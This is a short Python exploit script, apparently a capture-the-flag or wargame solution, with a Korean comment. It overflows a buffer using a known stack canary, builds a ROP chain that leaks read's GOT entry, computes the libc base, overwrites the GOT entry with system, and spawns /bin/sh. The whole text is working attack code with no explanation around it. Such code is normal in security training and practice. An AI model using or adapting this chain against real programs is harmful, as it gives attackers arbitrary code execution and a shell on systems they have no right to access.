payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...) 
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(ret)
payload += p64(write_plt)


# read(0, read_got, ...) read_got 입력
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
print(4)
p.sendafter(b'Buf: ', payload)

read = u64(p.recvn(6) + b'\x00'*2)

lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')